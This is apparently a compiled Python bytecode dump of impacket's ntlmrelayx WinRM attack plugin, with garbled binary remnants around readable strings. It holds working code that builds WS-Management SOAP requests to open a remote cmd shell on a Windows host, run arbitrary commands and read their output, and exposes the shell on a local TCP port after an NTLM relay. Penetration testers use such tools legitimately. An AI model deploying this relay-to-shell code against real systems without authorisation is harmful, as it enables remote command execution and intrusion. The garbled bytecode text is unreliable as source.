o
    j'                     @   sn   d dl Z d dlZd dlZd dlZd dlmZ d dlmZ d dlm	Z	 dZ
G dd dejZG dd deZdS )	    N)LOG)ProtocolAttack)TcpShellWINRMAttackc                   @   s4   e Zd Zdd Zdd Zdd Zdd Zd	d
 ZdS )
WinRMShellc                 C   s   t jj| |j|jd |jt_|jt_|jt_d| _|| _|| _	d| _
d | _d| _d| _d | _g | _d | _d}t|dd}| j	jd	d
||d | j	 }td|   }ra|d| _d S d S )N)stdinstdoutFz
# zType help for list of commandsTa^  
        <?xml version="1.0" encoding="utf-8"?>
        <env:Envelope
            xmlns:env="http://www.w3.org/2003/05/soap-envelope"
            xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
            xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"
            xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"
            xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell">
            <env:Header>
                <a:To>http://windows-host:5985/wsman</a:To>
                <a:ReplyTo>
                    <a:Address mustUnderstand="true">
                        http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
                    </a:Address>
                </a:ReplyTo>
                <a:MessageID>uuid:2a8ac24f-00f0-4a87-860c-bf58d33a1e0a</a:MessageID>
                <a:Action mustUnderstand="true">
                    http://schemas.xmlsoap.org/ws/2004/09/transfer/Create
                </a:Action>
                <w:ResourceURI mustUnderstand="true">
                    http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
                </w:ResourceURI>
                <w:OperationTimeout>PT20S</w:OperationTimeout>
                <w:MaxEnvelopeSize mustUnderstand="true">153600</w:MaxEnvelopeSize>
                <w:OptionSet>
                    <w:Option Name="WINRS_NOPROFILE">FALSE</w:Option>
                    <w:Option Name="WINRS_CODEPAGE">437</w:Option>
                </w:OptionSet>
                <w:Locale xml:lang="en-US"/>
                <p:DataLocale xml:lang="en-US"/>
            </env:Header>
            <env:Body>
                <rsp:Shell>
                    <rsp:InputStreams>stdin</rsp:InputStreams>
                    <rsp:OutputStreams>stdout stderr</rsp:OutputStreams>
                </rsp:Shell>
            </env:Body>
        </env:Envelope>
        "application/soap+xml;charset=UTF-8zContent-LengthzContent-TypePOST/wsmanheadersbodyz/<w:Selector\s+Name="ShellId">(.*?)</w:Selector>   )cmdCmd__init__r   r   sysstderruse_rawinputshellclientprompttidintrologgedInlast_output
completionshell_idlenrequestgetresponseresearchreaddecodegroup)self	tcp_shellr   initiate_shellr   resmatch r-   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/attacks/winrmattack.pyr      s.   )
zWinRMShell.__init__c                 C   s   d S Nr-   )r(   r-   r-   r.   	emptylinee   s   zWinRMShell.emptylinec                 C   sH  |  sd S |  dkr|   d| j d| d}| jjddtt|dd|d	 | j }| 	 }t
d
|d}d| j d| d}| jjddtt|dd|d	 | j }| 	 }t
d|}|D ]4}zt|j	ddd  }	|	rt|	 W qm ty }
 ztd|
  t| W Y d }
~
qmd }
~
ww d S )NexitaH  
        <?xml version="1.0" encoding="utf-8"?>
        <env:Envelope
            xmlns:env="http://www.w3.org/2003/05/soap-envelope"
            xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
            xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"
            xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell">
            <env:Header>
                <a:To>http://windows-host:5985/wsman</a:To>
                <a:ReplyTo>
                    <a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
                </a:ReplyTo>
                <a:Action mustUnderstand="true">
                    http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command
                </a:Action>
                <a:MessageID>uuid:10000000-0000-0000-0000-000000000002</a:MessageID>
                <w:ResourceURI mustUnderstand="true">
                    http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
                </w:ResourceURI>
                <w:SelectorSet>
                    <w:Selector Name="ShellId">z</w:Selector>
                </w:SelectorSet>
            </env:Header>
            <env:Body>
                <rsp:CommandLine>
                    <rsp:Command>zr</rsp:Command>
                </rsp:CommandLine>
            </env:Body>
            </env:Envelope>
            r   r   r	   r
   r   z$<rsp:CommandId>(.*?)</rsp:CommandId>r   aH  
        <?xml version="1.0" encoding="utf-8"?>
        <env:Envelope
            xmlns:env="http://www.w3.org/2003/05/soap-envelope"
            xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
            xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"
            xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell">
            <env:Header>
                <a:To>http://windows-host:5985/wsman</a:To>
                <a:ReplyTo>
                    <a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
                </a:ReplyTo>
                <a:Action mustUnderstand="true">
                    http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive
                </a:Action>
                <a:MessageID>uuid:2a8ac24f-00f0-4a87-860c-bf58d33a1e0a</a:MessageID>
                <w:ResourceURI mustUnderstand="true">
                    http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
                </w:ResourceURI>
                <w:SelectorSet>
                    <w:Selector Name="ShellId">z</w:Selector>
                </w:SelectorSet>
            </env:Header>
            <env:Body>
                <rsp:Receive>
                    <rsp:DesiredStream CommandId="z{">stdout stderr</rsp:DesiredStream>
                </rsp:Receive>
            </env:Body>
        </env:Envelope>
        z1<rsp:Stream Name="stdout"[^>]*>(.*?)</rsp:Stream>zutf-8ignore)errorszFailed to decode output: )stripdo_exitr   r   r!   strr    r"   r%   r&   r#   r$   r'   findallbase64	b64decodeprint	Exceptionr   error)r(   commandexecute_command_xmlresponser   
command_idreceive_xmlmatchesr,   command_outputer-   r-   r.   onecmdh   sX   





zWinRMShell.onecmdc                 C   sd   d| j  d}t|dd}| jjdd||d | j }|  | jd ur+| j  t	d d	S )
Na  
        <?xml version="1.0" encoding="utf-8"?>
        <env:Envelope
            xmlns:env="http://www.w3.org/2003/05/soap-envelope"
            xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
            xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">
            <env:Header>
                <a:To>http://windows-host:5985/wsman</a:To>
                <a:ReplyTo>
                    <a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
                </a:ReplyTo>
                <a:Action mustUnderstand="true">
                    http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete
                </a:Action>
                <a:MessageID>uuid:10000000-0000-0000-0000-000000000004</a:MessageID>
                <w:ResourceURI mustUnderstand="true">
                    http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
                </w:ResourceURI>
                <w:SelectorSet>
                    <w:Selector Name="ShellId">z</w:Selector>
                </w:SelectorSet>
            </env:Header>
            <env:Body/>
        </env:Envelope>
        r	   r
   r   r   r   zEWinRM shell destroyed successfully. You can now leave the NC shell :)T)
r   r    r   r!   r"   r%   r   closer   info)r(   destroy_shellr   r+   r-   r-   r.   r5      s   



zWinRMShell.do_exitc                 C   s   t d dS )NzBye!
T)r:   )r(   liner-   r-   r.   do_EOF   s   zWinRMShell.do_EOFN)__name__
__module____qualname__r   r0   rE   r5   rJ   r-   r-   r-   r.   r      s    Ib+r   c                   @   s$   e Zd ZdgZdddZdd ZdS )r   WINRMSNc                 C   s    t | ||||| t | _d S r/   )r   r   r   r)   )r(   configWINRMClientusernametargetrelay_clientr-   r-   r.   r      s   zWINRMAttack.__init__c                 C   s8   t d| jj  | j  t| j| j}|  d S )Nz6Started interactive WinRMS shell via TCP on 127.0.0.1:)r   rG   r)   portlistenr   r   cmdloop)r(   r   r-   r-   r.   run   s   
zWINRMAttack.run)NN)rK   rL   rM   PLUGIN_NAMESr   rW   r-   r-   r-   r.   r      s    
)r#   r   r   r8   impacketr   $impacket.examples.ntlmrelayx.attacksr   +impacket.examples.ntlmrelayx.utils.tcpshellr   PROTOCOL_ATTACK_CLASSr   r   r   r-   r-   r-   r.   <module>   s    `